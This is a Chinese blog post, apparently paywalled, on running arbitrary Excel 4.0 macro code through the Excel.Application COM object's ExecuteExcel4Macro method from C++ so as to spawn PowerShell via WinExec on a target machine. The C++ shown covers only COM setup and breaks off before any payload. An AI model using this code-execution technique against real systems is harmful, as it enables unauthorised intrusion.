通过cpp调用excel.application对象的ExecuteExcel4Macro方法来执行任意宏代码,
宏代码直接调用NativeAPI执行WinExec创建powershell进程
要求:目标机器必须安装了Excel,
#include "stdafx.h"
#include <windows.h>
#include <iostream>
#include <oaidl.h>
using namespace std;
int _tmain(int argc, _TCHAR* argv[])
{
HRESULT hRet = E_FAIL;
CLSID CLSID_excel;
IDispatch *pXlApp;
DISPID dispidNamed = DISPID_PROPERTYPUT;
DISPID dispID;
DISPPARAMS dispParams = { NULL, NULL, 0, 0 }; //
do
{
CoInitialize(NULL);
hRet = CLSIDFromProgID(L"Excel.Application", &CLSID_excel);
if (FAILED(hRet))
{
break;
}
hRet = CoCreateInstance(CLSID_excel, NULL, CLSCTX_LOCAL_SERVER, IID_IDispatch, (void **)&pXlApp);
if (FAILED(hRet))
{
break;
}
// 根据名字获取方法ID
OLECHAR* szFuncName = L"ExecuteExcel4Macro";
hRet = pXlApp->GetIDsOfNames(IID_NULL, &szFuncName, 1, LOCALE_SYSTEM_DEFAULT, &dispID);
if (FAILED(hRet))
{
break;
}
dispParams.cArgs = 1;
dispParams.cN

博客介绍了利用cpp调用Excel.application对象的ExecuteExcel4Macro方法执行任意宏代码,该宏代码可直接调用NativeAPI,通过WinExec创建powershell进程,不过要求目标机器必须安装Excel。
最低0.47元/天 解锁文章
43

被折叠的 条评论
为什么被折叠?



